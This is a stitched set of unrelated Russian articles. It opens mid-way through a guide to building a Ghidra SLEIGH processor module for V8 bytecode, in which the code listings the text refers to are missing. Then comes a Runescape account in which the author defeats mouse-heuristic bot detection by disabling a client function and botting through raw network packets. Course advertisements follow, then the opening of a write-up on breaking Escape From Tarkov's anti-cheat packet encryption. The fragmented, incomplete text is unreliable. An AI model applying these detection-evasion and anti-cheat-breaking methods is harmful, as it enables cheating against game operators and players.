• Compiler Datatype Organization (у нас использовался <data_organization>);

• Compiler Scoping and Memory Access (у нас использовался <global>);

• Compiler Special Purpose Registers (у нас использовался <stackpointer>);

• Parameter Passing (у нас использовался <default_proto>).

Изучая структуру шаблона, описанные теги в документации и примеры подобных файлов, можно попробовать сформировать файл под свои нужды.

Теги <data_organization> и <stackpointer> достаточно типовые; разберем тег <prototype> в <default_proto>, частично описывающий соглашение о вызове функций. Для него определим: <input>, <output>, <unaffected>.

Как говорилось выше, аргументы в функцию передаются через регистры aX. В модуле регистры должны быть определены как непрерывная последовательность байтов по смещению в некотором пространстве. Как правило, в таких случаях используется специально придуманное для этого пространство register. Однако теоретически не запрещено использовать любое другое. В случае наличия большого количества регистров, выполняющих примерно одни функции, проще всего не прописывать каждый отдельно, а просто указать смещение в пространстве регистров, по которому они будут определены. Поэтому в спецификации компилятора помечаем область памяти в пространстве регистров (space="register") в теге <input> для регистров, через которые происходит передача аргументов в функции, по смещению 0x14000 (0x14000 не несет в себе сакрального смысла, это просто смещение, по которому в *.slaspec далее будут определены регистры aX).

По умолчанию результат вызова функций сохраняется в аккумулятор (acc), что нужно прописать в теге <output>. Для альтернативных вариантов регистров, в которые происходит сохранение возвращаемых функциями значений, можно определить логику при описании инструкций. Отметим в теге <unaffected>, что вызовы функций на регистр, хранящий указатель на стек, не влияют.

Для работы с частью регистров наиболее удобным будет вариант определения их как изменяемых глобально, поэтому в теге <global> определяем диапазон регистров в пространстве register по смещению 0x2000.

LDEFS

Перейдем к определению языка это файл с расширением .ldefs. Он требует немного информации для оформления: порядок байт (у нас le), названия ключевых файлов (*.sla, *.pspec,*.cspec), id и название байткода, которое будет отображаться в списке поддерживаемых процессорных модулей при импорте файла в Ghidra. Если когда-то понадобится добавить процессорный модуль для файла, скомпилированного версией Node.js, существенно отличающейся от текущей, то имеет смысл описать его тут же через создание еще одного тега <language>, как это сделано для описания семейств процессоров в *.ldefs модулей, поставляемых в рамках Ghidra.

Практическое применение информации, не касающейся определения файлов, будет видно при попытке импорта файла.

PSPEC

Сложнее в плане документации дела обстоят со спецификацией процессора (файл с расширением .pspec). В данном случае можно обратиться к готовым решениям в рамках самого фреймворка или к файлу processor_spec.rxg (вариант с полноценным разбором исходных кодов Ghidra мы не рассматривали). Чего-то более подробного на момент написания модуля не было. Вероятно, со временем разработчики опубликуют официальную документацию.

В текущем проекте на данный момент от спецификации процессора может понадобиться только программный счетчик, оставим этот тег из стандартного шаблона свежесозданного проекта (на самом деле можно оставить <processor_spec> пустым).

SLASPEC

Теперь можно приступить к непосредственному описанию инструкций на SLEIGH в файле с расширением .slaspec.

Базовые определения и макросы препроцессора

Сначала при его описании необходимо указать порядок байтов. Также можно определить выравнивание и константы, которые могут понадобиться в процессе описания, через макросы препроцессора.

Адресные пространства, которые понадобятся для описания байткода (у нас создаются пространства с именами register и ram), определяются через define space, а регистры через define register. Значение offset в определении регистров не принципиально, главное, чтобы они находились по разным смещениям. Занимаемое регистрами количество байтов определяется параметром size. Стоит помнить, что определенная тут информация должна соответствовать обращениям к аналогичным абстракциям и величинам в рамках *.cspec и анализатора, если вы ссылаетесь на эти регистры.

Описание инструкций

В документации (https://ghidra.re/courses/languages/html/sleigh_constructors.html) можно прочитать, что определение инструкций происходит через таблицы, которые состоят из одного и более конструкторов и имеют имена идентификаторы символов семейства. Таблицы в SLEIGH по сути являются тем, что называется символами семейства, в статье мы не будем углубляться в определения символов, для этих целей проще прочитать Знакомство с символами. Конструкторы состоят из 5частей.

1. Table Header (заголовок таблицы)

2. Display Section (секция отображения)

3. Bit Pattern Sections (секция битового шаблона)

4. Disassembly Actions Section (секция действий при дизассемблировании инструкций)

5. Semantics Actions Section (семантическая секция)

Пока что звучит страшно, опишем основной смысл.

1. В Table Header либо помечается идентификатор, который можно использовать в других конструкторах, либо ничего нет (тогда это непосредственно описание инструкции).

2. Display Section шаблон, показывающий как выводить инструкцию в листинг Ghidra.

3. Bit Pattern Section перечень каких-либо идентификаторов, которые забирают реальные биты программы под инструкцию и выводятcя в листинг по шаблону секции отображения (иногда с использованием следующей секции).

4. Disassembly Actions Section дополняет секцию битового шаблона какими-то вычислениями, если ее в чистом виде недостаточно.

5. Semantics Actions Section описывает, что делает эта инструкция по смыслу, чтобы показать это в декомпиляторе.

Изначально существует корневая таблица инструкций (за ней закреплен идентификатор instruction), все описанные конструкторы с пустым заголовком таблицы становятся ее частью, а первый идентификатор этих конструкторов в секции отображения распознается как мнемоника инструкций.

Для конструкторов, имеющих идентификатор в заголовке таблицы, создается новая таблица с соответствующим именем. Если она уже существовала, конструктор становится частью той же таблицы, этот случай будет рассмотрен в разделе про диапазоны регистров. При использовании идентификатора этой таблицы в другой таблице он становится ее дополнительной частью. То есть создание таблиц, чьи идентификаторы нигде не используются (они никак не будут связаны с корневой таблицей инструкций), не имеет практического смысла.

Несколько документированных особенностей секции отображения, которые понадобятся дальше:

• ^ разделяет идентификаторы и/или символы в секции, между которыми не должно быть пробелов;

• используются, чтобы вставлять жестко закодированные строки, которые не будут считаться идентификатором;

• пробельные символы обрезаются в начале и конце секции, а их последовательности сжимаются в один пробел;

• некоторые знаки пунктуации и спецсимволы вставляются в шаблон (неиспользуемые для каких-то определенных функций, в отличие от, например#, которые применяются для комментариев).

Токены и их поля

Для описания конструкторов инструкций необходимо определить битовые поля. Через них осуществляется привязка битов программы к определенным абстракциям языка, в который будет происходить трансляция. Такими абстракциями могут быть мнемоники, операнды и т.п. Определение полей происходит в рамках задания токенов, синтаксис их определения выглядит так:

Размер токена tokenMaxSize должен быть кратен8. Это может быть неудобно, если операнды или какие-то нюансы для инструкции кодируются меньшим количеством бит. С другой стороны, это компенсируется возможностью создавать поля разных размеров, кодирующих позиционно любые биты в пределах размеров, задаваемых токеном. Для таких полей должны соблюдаться условия: start- и endBitNumX находятся в диапазоне от 0 до tokenMaxSize-1 включительно и startBitNumX <= endBitNumX.

Для разбираемого байткода v8 не было необходимости создавать поля, отличные по размеру от токена. Но, если бы такие поля были и использовались совместно, они бы объединялись через логические операторы & или |.

Обратите внимание: даже если вы используете поле или комбинацию полей в секции битового шаблона, не покрывающие своими битовыми масками полный размер токена, к которому они принадлежат, по факту из байтов программы под операнд все равно будет забираться количество бит, определяемое размером токена.

Теперь опишем простейшую инструкцию байткода, не имеющую операндов. Определим поле, которое будет описывать опкод инструкции. Как видно выше в разделе про v8, код инструкции описывается одним байтом (есть также Wide- и ExtraWide- инструкции, но они здесь не будут рассматриваться, по сути они просто используют операнды больших размеров и дополнительные байты под опкод инструкции). Таким образом получаем:

Теперь, используя поле op для идентификации первого и единственного опкода, определяющего инструкции Illegal и Nop, пишем для них конструкторы:

Байт 0xa7 в листинге Ghidra отобразит как инструкцию Illegal, не имеющую операндов. Для этой инструкции в примере использовалось ключевое слово unimpl. Это неимплементированная команда, дальнейшая декомпиляция будет прервана, что удобно для отслеживания нереализованных семантических описаний. Для Nop оставлена пустая семантическая секция, то есть команда не повлияет на отображение в декомпиляторе, что и должна делать эта инструкция. На самом деле Nop не присутствует как инструкция в Node.js нашей версии, мы ввели ее искусственно для реализации функционала SwitchOnSmiNoFeedback, но об этом будет рассказано в статье Владимира Кононовича.

Описываем операнды и семантику

Усложним концепцию: опишем конструктор для операций LdaSmi, в рамках которой происходит загрузка целого числа в аккумулятор (acc в определении пространства регистров), и AddSmi, которая по сути представляет собой сложение значения в аккумуляторе c целым числом.

Для текущих и будущих нужд определим чуть больше полей на манер операндов в bytecodes.h Node.js, создадим их в новом токене с именем operand, поскольку у этих полей будет другое назначение. Создание нескольких полей с одинаковыми битовыми масками может быть обусловлено как удобством восприятия, так и использованием нескольких полей одного токена в рамках одной инструкции (см. пример с AddSmi).

С точки зрения листинга хочется видеть что-то наподобие LdaSmi [-0х2]. Поэтому определяем в секции отображения мнемонику, а в шаблон прописываем имена полей, которые должны подставляться из секции disassembly action или битового шаблона (квадратные скобки тут не обязательны, это просто оформление).

Для инструкции AddSmi в секции битового шаблона, помимо поля op, устанавливающего ограничение на опкод, через ; появляются поля из токена operand. Они будут подставлены в секцию отображения в качестве операндов. Маппинг на реальные биты происходит в том порядке, в котором поля указаны в секции битового шаблона. В семантической секции, используя документированные операции, реализуем логику инструкций (то, что делал бы интерпретатор, выполняя эти инструкции).

Через ; могут также, например, идти регистры, контекстные переменные (о них поговорим позже), комбинации полей одного токена или полей с контекстными переменными.

Вот так выглядит окно листинга с описанными инструкциями со включенным полем PCode в меню изменение полей листинга Ghidra. Окно декомпилятора пока что не будет показательным из-за оптимизации кода, поэтому на данном этапе стоит ориентироваться только на промежуточный p-code.

В байткоде v8 инструкции, чьи мнемоники начинаются с lda, и так подразумевают загрузку значения в аккумулятор. Но при желании явно видеть регистр acc в инструкциях байткода можно определить его для отображения в конструкторе. В данном случае неважно, на какой позиции в секции битового шаблона находится acc, так как он не является полем и не занимает биты инструкции, но вписать его необходимо.

Инструкции возврата значения из функции реализуются с помощью ключевого слова return, и, как уже упоминалось ранее, чаще всего возвращение значения при вызове функции происходит через аккумулятор:

Выводим регистры по битовым маскам

В инструкциях, которые мы описывали выше, не используются регистры в качестве операндов. Теперь же реализуем конструктор инструкции Mul, в рамках которой происходит умножение аккумулятора на значение, сохраненное в регистре.

В разделе Базовые определения и макросы препроцессора регистры уже были объявлены, но для того, чтобы нужные регистры выбирались в зависимости от представленных в байткоде бит, необходимо привязать их список к соответствующим битовым маскам. Поле kReg имеет размер 8бит. Через конструкцию attach variables последовательно определяем каким битовым маскам от 0b до 11111111b вышеприведенные регистры будут соответствовать в рамках последующего использования полей из заданного списка (в нашем случае только kReg) в конструкторах. Например, в этом описании видно, что операнд, закодированный как 0xfb (11111011b), интерпретируется при описании его через kReg как регистр r0.

Теперь, когда за переменной kReg закреплены регистры, ее можно использовать в конструкторах:

Усложним конструкцию для соответствия конструктора более высокоуровневым описаниям инструкций из interpreter-generator.cc исходников Node.js. Вынесем поле kReg в отдельный конструктор, идентификатор таблицы которого в Table Header назовем src. В его семантической секции появляется новое ключевое слово export. Если не вдаваться в детали построения p-code, то по смыслу export определяет значение, которое должно быть подставлено в семантическую секцию конструктора вместо src. Вывод в Ghidra не изменится.

Примеры аналогичных с точки зрения описания инструкций, которые понадобятся позже для тестирования модуля на реальном файле:

Переходы по адресам с goto

В байткоде встречаются операции условного и безусловного перехода по смещению относительно текущего адреса. Для перехода по адресу или метке в SLEIGH используется ключевое слово goto. Примечательно для определения то, что в секции битового шаблона используется поле kUImm, однако оно не используется в чистом виде. В секцию отображения выводится просчитанное в disassembly action секции значение через идентификатор rel. Величина inst_start предопределена для SLEIGH и содержит адрес текущей инструкции.

Компиляция SLEIGH проходит. Правда, в таком варианте (листинг ниже), судя по выводу, не получается создать варноду (это объекты, которыми манипулирует p-code инструкция), содержащую привязку к конкретному пространству.

Воспользуемся рекомендуемым разработчиками способом и вынесем часть определения через создание дополнительного конструктора с идентификатором dest. Конструкция *[ram]:4 rel не обозначает, что мы берем 4байта по адресу rel. По факту экспортируется адрес rel в пространстве ram. Оператор * в SLEIGH обозначает разыменование, но в данном конкретном случае относится к нюансу создания варнод (подробнее в Dynamic References).

Указание пространства [ram] может быть опущено (пример в комментарии), так как при определении мы указали его пространством по умолчанию. Как видно в инструкциях p-code, смещение было помечено как принадлежащее ram.

Чуть сложнее выглядит инструкция JumpIfFalse из-за использования условной конструкции. В SLEIGH она используется вместе с ключевым словом goto. Для большего соответствия концепциям js величина False ранее была определена как регистр, и можно заметить, что в pspec диапазон пространства регистров, к которому она привязана, помечен как глобальный. Благодаря этому в псевдокоде она отображается в соответствии с именованием регистра, а не численным значением.

В рассмотренных примерах переход осуществляется по рассчитываемому относительно inst_start адресу. Рассмотрим инструкцию TestGreaterThan, в которой происходит переход с помощью goto к метке (<true> в примере ниже) и inst_next. Переход к метке в принципе должен быть интуитивно понятным: если условие истинно, то далее должны выполняться инструкции, следующие за местом ее расположения. Метка действительна в только в пределах ее семантической секции.

Конструкция goto inst_next фактически завершает обработку текущей инструкции и передает управление на следующую. Стоит обратить внимание, что для выполнения знакового сравнения используется s>, см. документацию.

Несколько регистровых операндов

В предыдущих инструкциях использовалось не более одного регистра в качестве операнда. Так что сначала поговорим об использовании большего количества регистров для этих целей.

Описание однотипных операндов через конструкторы, имеющие разные идентификаторы таблиц (см. конструкторы в примере ниже), может иметь практическое применение для использования в рамках одного конструктора корневой таблицы. Такой вариант применим не только с точки зрения соответствия описанию инструкций v8, но и для преодоления возможных ошибок. Например, 4операнда инструкции CallProperty2 являются регистрами, идентично задаваемыми с точки зрения битовой маски. Попытка определить конструктор как :CallProperty2 kReg, kReg, kReg, kReg, [kIdx] вызовет ошибку в компиляторе Sleigh при попытке открыть файл с помощью процессорного модуля. Поэтому в нашем модуле использовались конструкторы для создания чего-то наподобие алиасов:

Стоит отметить, конечно, что решить эту проблему также можно было без определения новых конструкторов. Например, определив и прописав поля callable, receiver, arg1 и arg2 в рамках какого-либо токена с последующей их привязкой через attach к списку регистров:

Каждое из этих полей работало бы аналогично kReg в предыдущих примерах. Какой именно способ использовать вопрос эстетики.

Вызовы функций

В инструкции CallProperty2 также примечательно то, что она в семантической секции использует конструкцию call [callable];, которую мы не использовали до этого. В v8 аргументы функции хранятся в регистрах aX (как мы и пометили в cspec). Однако, с точки зрения байткода, помещения туда аргументов непосредственно перед вызовом функции не происходит (случаи, когда это происходит, можно посмотреть в sinc-файле, например для x86). Интерпретатор делает это самостоятельно, ведь у него есть вся необходимая информация. Но ее нет у Ghidra, поэтому в семантической секции мы пропишем помещение аргументов в регистры вручную. Однако нам необходимо будет восстановить значения задействованных регистров после вызова, так как в вызывающей функции эти регистры тоже могут хранить какие-то значения, необходимые для потока выполнения. Можно сохранить их через локальные переменные:

Можно также применять вариант с сохранением аргументов в памяти (в данном случае на стеке: sp не используется инструкциями, потому не повлияет на отображение в декомпиляторе) при использовании макросов на примере CallUndefinedReceiver1:

При написании подобных модулей вместе с загрузчиком и анализатором стоит следить, чтобы порядок передаваемых аргументов совпадал с порядком аргументов функции, определяемых при их создании в java-коде. Также стоит отметить, что для нашей ситуации было полезно сохранять не больше аргументов функции, чем их количество в вызывающей функции, но это сложно реализовать на SLEIGH. Вариант решения проблемы можно будет прочитать в статье Вячеслава Москвина про внедрение p-code инструкций.

Определяемые пользователем операции

Чтобы не терять при декомпиляции инструкции, в которых не планируется или нет возможности описывать семантический раздел, можно использовать определяемые пользователем операции. Стоит отметить, что в ситуации с acc не требуется явно указывать размер, поскольку размер регистра определен явно, а использовать его не полностью тут не нужно. Однако при передаче в подобные пользовательские операции, например, числовых констант придется явно указывать размер передаваемого значения (как в примере с CallVariadicCallOther в разделе О диапазонах регистров далее по тексту). Пользовательские операции определяются как define pcodeop OperationName и используются в семантическом разделе конструкторов в формате, напоминающем вызов функции во многих языках программирования.

Эти операции могут использоваться для внедрения p-code-инструкций в анализаторе: вызовы добавляются через тег callotherfixup в cspec-файл и прописывается логика в анализаторе.

Без переопределения в java-коде пользовательские операции в декомпиляторе выглядят так же, как они определены в семантическом разделе:

Тестируем модуль

Уже на этом этапе можно попробовать проверить работу процессорного модуля на практике. Скомпилируем через bytenode jsc-файл из небольшого примера на js:

Попробуем запустить написанный на основании статьи проект и импортировать полученный jsc-файл в Ghidra. Если что-то описано неправильно, Ghidra выдаст ошибку, а в логах eclipse будет локализирован номер строки, вызвавшей ошибку. При исправлении кода не нужно перестраивать проект: sleigh перекомпилируется при следующей попытке открыть файл.

На всякий случай тут прикладываем архив с файлами, которые должны были получиться. Также можно посмотреть полную версию написанного инструмента в репозитории проекта.

Поскольку мы описывали только инструкции, файл не будет проанализирован и разобран по функциям. Код находится по смещению 0х1с0. НажмемD для преобразования байтов в инструкции по этому смещению иF, чтобы создать функцию. Вот так она будет выглядеть:

Более понятным становится вывод при использовании других средств (помимо SLEIGH), доступных разработчикам модулей. Например, при добавлении работы с пулом констант (для обращения к нему в SLEIGH зарезервировано ключевое слово cpool) появится возможность разрезолвить числовой идентификатор в команде LdaGlobal. Вот так в последней версии нашего проекта выглядит функция (для сравнения):

Разумеется, было бы приятнее видеть большее соответствие исходному коду, написанному на JavaScript, однако этого нельзя добиться, описывая инструкции только в файлах .slaspec (и .sinc). Чуть больший простор для воображения откроет статья, в которой будет описан механизм внедрения операций p-code, позволяющий при полном доступе ко всем ресурсам приложения манипулировать инструкциями, из которых собирается дерево p-code. Как раз на основании созданного дерева p-code результат декомпиляции выстраивается и отображается в интерфейсе.

О диапазонах регистров

В байткоде v8 для ряда инструкций реализована работа с диапазонами, парами и/или тройками регистров. С точки зрения кодирования диапазонов присутствует байткод первого регистра и количество используемых в диапазоне регистров. Для пар и троек указывается только начальный регистр, так как интерпретатору заранее известно, сколько регистров надо использовать для данной инструкции.

На основании описания понятно, что достаточно простым решением было бы отобразить при разборе инструкций первый регистр и их количество, то есть примерно так: ForInPrepare r9, r10!3. Чуть большим компромиссом в пользу читаемости было бы выводить первый и последний регистры диапазона, но, забегая вперед, можно сказать, что с точки зрения реализации уже это потребовало бы использования таблиц, состоящих из нескольких конструкторов.

Таблицы, содержащие несколько конструкторов

В рамках проекта для удобства восприятия было решено отображать в листинге весь список передаваемых регистров. Для секции отображения нет готового шаблона для выведения диапазонов регистров. Можно руководствоваться принципами, аналогичными использованным для процессорного модуля ARM: распечатыванием переменных через цепочку конструкторов (только сам принцип, реализация нам не подойдет из-за разности архитектур).

Тут наглядно видно тот самый случай, когда таблица с неким идентификатором состоит из нескольких конструкторов. По сути, это несколько конструкторов с одинаковыми идентификаторами в секции заголовка таблицы с разными условиями в секции битового шаблона. Выбираться при работе с идентификатором в других конструкторах будет наиболее подходящий по условию вариант. Например, если описан конструктор с неким условием и без условий, то при истинности условия будет выбран первый вариант, хотя второй формально ему не противоречит, поскольку не накладывает вообще никаких условий.

Как можно предположить, глядя на побайтовое описание инструкции CallProperty выше, для раскрытия диапазона необходимо распечатать регистры, отталкиваясь от первого вхождения, ориентируясь на известный первый регистр диапазона и количество элементов в нем. С точки зрения секции отображения, диапазон создается из двух конструкторов: rangeSrc и rangeDst. rangeSrc своего рода инициализация, где мы сохраняем входные данные, rangeDst будет распечатывать регистры на основании полученной информации. И как раз для rangeDst понадобится создавать таблицы, содержащие несколько конструкторов: как минимум для отображения диапазонов на регистрах aX и rX отдельно.

Для реализации условий необходимо учесть ряд ограничений. Проверять значения в секции битового шаблона рекомендуется только через =, а уточнять тут значение напрямую регистра нельзя, как и присваивать ему значения в секции disassembly action. Это лишает нас возможности использовать какой-то временный регистр. Стартовый регистр и длина диапазона могут быть любыми, а реализоваться, как уже упоминалось, диапазон может как на регистрах aX, так и на rX, а также быть нулевой длины. Уже на этом этапе понятно: если мы не хотим создавать гигантское количество определений на все случаи жизни, было бы неплохо иметь некие счетчики, чтобы выяснить, сколько регистров выводить и с какой позиции.

Контекстные переменные

Для решения задачи подходят контекстные переменные. Их определение похоже на определение полей токенов. Но поля в данном случае используют не реальные биты программы, а биты указанного регистра (contextreg ниже).

При записи через поля, определенные в регистре поверх одинаковых битовых диапазонов, значения будут перезатираться (в некоторых случаях не пройдет компиляция), поскольку это биты одного и того же регистра. У нас контекстные переменные counter и offStart используют разные битовые диапазоны в пределах регистра, так как по смыслу это разные значения.

Важно отметить, что контекстные переменные должны объявляться до конструкторов.

В документации поясняется, что контекстные переменные, как правило, используются в секции битовых шаблонов для проверки наличия какого-то контекста и изменяются в секции disassembly action. Так что в конструкторе с идентификатором таблицы rangeSrc, которую мы будем использовать для отображения диапазонов, в disassembly action секции сохраняем код первого регистра диапазона в контекстную переменную offStart, а их количество в counter. В секции отображения обозначаем начало диапазона открывающейся скобкой {.

Также стоит отметить, что в v8 не используется регистр range_size: он введен искусственно для хранения размера диапазона, чтобы было удобнее работать с этим значением в рамках семантической секции конструктора инструкции. Именно rangeSrc поставляет стартовый регистр и размер диапазона для семантической секции инструкции.

В рамках таблицы с идентификатором rangeDst описано 5конструкторов для следующих случаев.

• Код стартового регистра диапазона соответствует a0 и счетчик counter равен 0 (пустой диапазон).

• Код стартового регистра диапазона соответствует r0 и счетчик counter равен 0 (пустой диапазон).

• Код регистра диапазона в offStart совпадает с a0, в disassembly action секции счетчик counter уменьшается, код регистра в offStart увеличивается, переход к конструктору rangedst1.

• Код регистра диапазона в offStart совпадает с r0, в disassembly action секции счетчик counter и код регистра в offStart уменьшаются, переход к конструктору rangedst1.

• Код стартового регистра диапазона пока не найден, переход к конструктору rangedst1(для этого случая в конструкторе нет никаких условий, как упоминалось выше, он будет браться, когда остальные конструкторы не подошли).

В третьем и четвертом случаях происходит вывод регистра в отображение. Последующие конструкторы rangeDstN, где N натуральное число, состоят из тех же вариантов, только для регистров aN/rN.

Стоит обратить внимание на секцию битового шаблона. При описании конструктора rangeSrc в рамках секции битового шаблона задействованы оба байта, идентифицирующих диапазон, то есть в рамках определения rangeDst нет потребности считывать какие-то биты байткода, так как они не будут относиться к описываемой конструкции. Для подобных ситуаций можно использовать предопределенный символ epsilon, соответствующий пустому битовому шаблону.

В примере ниже описаны только rangeDst, rangeDst1, rangeDst2, чтобы не загромождать статью. Для получения представления о виде подобных таблиц этого достаточно, полную версию можно посмотреть в исходниках проекта на github. По сути, при работе с rangeDst будет проходиться цепочка конструкторов по возрастанию индекса Х в rangeDstX, пока не встретится стартовый регистр, а затем цепочка конструкторов, соответствующая по длине размеру выводимого диапазона.

Конструкторы с закрывающими фигурными скобками выглядят похожими, можно попробовать их объединить. Вспоминаем про использование логических операторов & и |.

Конструктор для CallProperty в готовом проекте выглядит так:

Вот что получается в листинге:

Возможно, сейчас сбивает с толку, что в семантической секции используется пользовательская операция CallVariadicCallOther. В проекте на github она была переопределена в java-коде инструкциями p-code. Использование инъекции p-code вместо реализации через операцию call было обусловлено желанием видеть список передаваемых аргументов в декомпиляторе (согласно исходникам Node.js, первый регистр диапазона является приемником, а остальные передаваемыми аргументами). Используя только slaspec, добиться этого было бы, мягко говоря, тяжело:

Если есть желание попробовать повторить реализацию диапазонов самостоятельно, можно описать семантику как:

Затем по аналогии можно доопределить конструкторы rangeDstХ (понадобится до r7 включительно) и уже тогда попробовать посмотреть, как выглядит скомпилированный код console.log(1,2,3,4,5,6). Можно собрать его самостоятельно через bytenode или забрать готовый тут. Функция будет находиться по смещению 0x167, а сама инструкция на 0x18b.

В итоге инструкции, подразумевающие вызовы даже с постоянным количеством аргументов, были реализованы аналогичным образом для решения проблем, возникающих при декомпиляции, так как часто возникала путаница при подсчете количества аргументов из-за нюанса с инициализацией регистров аХ (она проявляется при запуске автоанализа, иногда встречается до сих пор и решается, как и при работе с другими архитектурами, путем изменения прототипа функции в декомпиляторе).

Стоит отметить, что в нашем проекте мы вынесли все конструкторы rangeDst в отдельный файл, чтобы не загромождать файл с описанием инструкций (как и расширенные инструкции, работающие операндами размером 2 и 4байта):

Итог

Разработанный процессорный модуль удовлетворяет требованиям, которые мы к нему предъявляли: инструмент дает возможность просматривать инструкции байткода для заданных функций файла, который необходимо было разбирать в рамках проекта. В качестве бонуса мы получили декомпилятор, пусть не идеальный, но позволяющий быстрее ориентироваться в логике приложения. Однако, как и при работе со многими процессорными модулями, в данном случае лучше сверяться непосредственно с инструкциями, а не слепо ему верить. Можно также отметить, что при наличии времени и желания улучшить инструмент стоит реализовать хранение типов, продумать концепцию импортов и устранить проблему с обратным порядком аргументов функций. Надеемся, это руководство упростит ваше погружение в написание процессорных модулей на языке SLEIGH.

Также хочется сказать большое спасибо за исследование Node.js и разработку модуля Вячеславу Москвину, Владимиру Кононовичу, Сергею Федонину.

Автор: Наталья Тляпова

Полезные ссылки:

1. https://ghidra.re/courses/languages/html/sleigh.html документация на SLEIGH.

2. https://github.com/NationalSecurityAgency/ghidra/tree/master/Ghidra/Framework/SoftwareModeling/data/languages полезные файлы с описаниями *.cspec, *.pspec, *.opinion, *.ldefs.

3. https://spinsel.dev/2020/06/17/ghidra-brainfuck-processor-1.htmlхорошая статья о реализации модуля для brainfuck в Ghidra.

4. https://github.com/PositiveTechnologies/ghidra_nodejs репозиторий с полной версией процессорного модуля для Ghidra с загрузчиком и анализатором.

Автоматизация игроков всегда была большой проблемой в глобальных многопользовательских онлайновых ролевых играх (MMORPG), таких как World of Warcraft и Runescape, и этот вид взлома игр значительно отличается от традиционных читов, например в стрелялках. Однажды в выходные я решил взглянуть на системы обнаружения, созданные компанией Jagex для предотвращения автоматизации игроков в Runescape и вот что из этого вышло.

Использование ботов

Последние несколько месяцев игрок с учётной записью sch0u играл в World 67 круглосуточно, выполняя обычные задачи, такие как убийство мобов или сбор ресурсов. На первый взгляд игрок с этой учётной записью выглядит так же, как и любой другой игрок, но есть одно ключевое отличие это бот.

Я запустил этого бота ещё в октябре, чтобы протестировать возможности системы обнаружения ботов. Я попытался найти в Интернете информацию о том, как компания Jagex борется с создателями таких ботов, и нашёл только видео коммерческих ботов, создатели которых хвастались тем, что их системы перемещения мыши неотличимы от людей.

Поэтому единственный вывод, который мне удалось сделать, заключается в том, что движение мыши имеет значение.

Эвристика!

Я начал с анализа клиента Runescape, чтобы подтвердить эту теорию, и быстро заметил глобально вызываемую переменную hhk, которая задаётся вскоре после запуска.

const auto module_handle = GetModuleHandleA(0);hhk = SetWindowsHookExA(WH_MOUSE_LL, rs::mouse_hook_handler, module_handle, 0);

В результате на мышь устанавливается низкоуровневая hook-точка, добавляя её к общесистемной цепочке hook-точек. Это позволяет приложениям в Windows перехватывать все события мыши, независимо от того, связаны они с вашим приложением или нет. Низкоуровневые hook-точки часто используются клавиатурными шпионами, однако есть и законные случаи использования, такие как эвристика, подобная вышеупомянутой hook-точке мыши.

Обработчик мыши Runescape довольно прост по своей сути (следующий псевдокод красиво переписан вручную):

LRESULT __fastcall rs::mouse_hook_handler(int code, WPARAM wParam, LPARAM lParam){  if ( rs::client::singleton )  {      // Call the internal logging handler      rs::mouse_hook_handler_internal(rs::client::singleton->window_ctx, wParam, lParam);  }  // Pass the information to the next hook on the system  return CallNextHookEx(hhk, code, wParam, lParam);}void __fastcall rs::mouse_hook_handler_internal(rs::window_ctx *window_ctx, __int64 wparam, _DWORD *lparam){  // If the mouse event happens outside of the Runescape window, don't log it.  if (!window_ctx->event_inside_of_window(lparam))  {    return;  }  switch (wparam)  {    case WM_MOUSEMOVE:      rs::heuristics::log_movement(lparam);      break;case WM_LBUTTONDOWN:case WM_LBUTTONDBLCLK:case WM_RBUTTONDOWN:case WM_RBUTTONDBLCLK:case WM_MBUTTONDOWN:case WM_MBUTTONDBLCLK:  rs::heuristics::log_button(lparam);  break;  }}

С учётом пропускной способности эти функции rs::heuristics::log_* используют простые алгоритмы для пропуска данных событий, которые похожи на предыдущие зарегистрированные события.

Эти данные события позже анализируются функцией rs::heuristics::process, которая вызывается каждым фреймом в основном цикле рендеринга.

void __fastcall rs::heuristics::process(rs::heuristic_engine *heuristic_engine){  // Don't process any data if the player is not in a world  auto client = heuristic_engine->client;  if (client->state != STATE_IN_GAME)  {    return;  }  // Make sure the connection object is properly initialised  auto connection = client->network->connection;  if (!connection || connection->server->mode != SERVER_INITIALISED)  {    return;  }  // The following functions parse and pack the event data, and is later sent  // by a different component related to networking that has a queue system for  // packets.  // Process data gathered by internal handlers  rs::heuristics::process_source(&heuristic_engine->event_client_source);  // Process data gathered by the low level mouse hook  rs::heuristics::process_source(&heuristic_engine->event_hook_source);}

Вдали от клавиатуры?

Двигаясь в обратном направлении, я прилагаю усилия, чтобы узнать, насколько релевантна рассматриваемая функция, в первую очередь путём создания и применения hook-точек или патчей для рассматриваемой функции. Обычно заключение о релевантности функции можно получить, сделав её бесполезной и наблюдая за состоянием программного обеспечения. Эта методология приводит к интересному наблюдению.

Запретив игре вызывать функцию rs::heuristics::process, я сразу ничего не заметил, но ровно через пять минут вышел из игры. По-видимому, Runescape принимает решение о неактивности игрока просто по эвристическим данным, отправленным клиентом на сервер, хотя вы можете просто отлично играть в эту игру. Это породило новый вопрос: если сервер не считает, что я играю, то считает ли он, что я использую бота?

В результате я потратил несколько дней на реконструкцию сетевого слоя игры и смог использовать бота для выполнения почти всех действий при помощи только сетевых пакетов.

Чтобы доказать свою теорию, я использовал бот двадцать четыре часа в сутки, семь дней в неделю, даже не шевеля мышкой. Прошли тысячи часов, и я могу с уверенностью заявить, что обнаружение ботов компанией либо опирается на отправленные клиентом эвристические данные событий, либо запускается только тогда, когда игрок не находится в состоянии вдали от клавиатуры. Любого игрока, которому удаётся играть, не двигая мышью, следует немедленно забанить, то есть нынешний контроль имеет смысл пересмотреть.

Уязвимостей полно не только в играх, а с ростом цифровизации различных отраслей, многие недостатки безопасности вышли наружу и требуют серьезного внимания, а значит, растёт востребованность специалистов в сфере информационной безопасности, для обучения которых мы сделали специальный курс Этичный хакер. Если вам по душе искать пробелы в защите и получать за это вознаграждение добро пожаловать.Узнай, как прокачаться и в других областях работы с данными или освоить их с нуля:

• Профессия Data Scientist

• Профессия Data Analyst

• Курс "Алгоритмы и структуры данных"

Узнайте, как прокачаться и в других специальностях или освоить их с нуля:

• Профессия Data Scientist

• Профессия Data Analyst

• Курс по Data Engineering

Недавно Battlestate Games, разработчики Escape From Tarkov, наняли BattlEye для реализации шифрования сетевых пакетов, чтобы мошенники не могли перехватить эти пакеты, разобрать их и использовать в своих интересах в виде радарных читов или иным образом. Сегодня подробно расскажем, как мы взломали их шифрование спустя несколько часов.

Анализ EFT

Мы начали с анализа самого "Escape from Tarkov". В игре используется Unity Engine, который, в свою очередь, использует C# промежуточный язык, а это означает, что можно очень легко просмотреть исходный код игры, открыв его в таких инструментах, как ILDasm или dnSpy. В этом анализе мы работали с dnSpy.

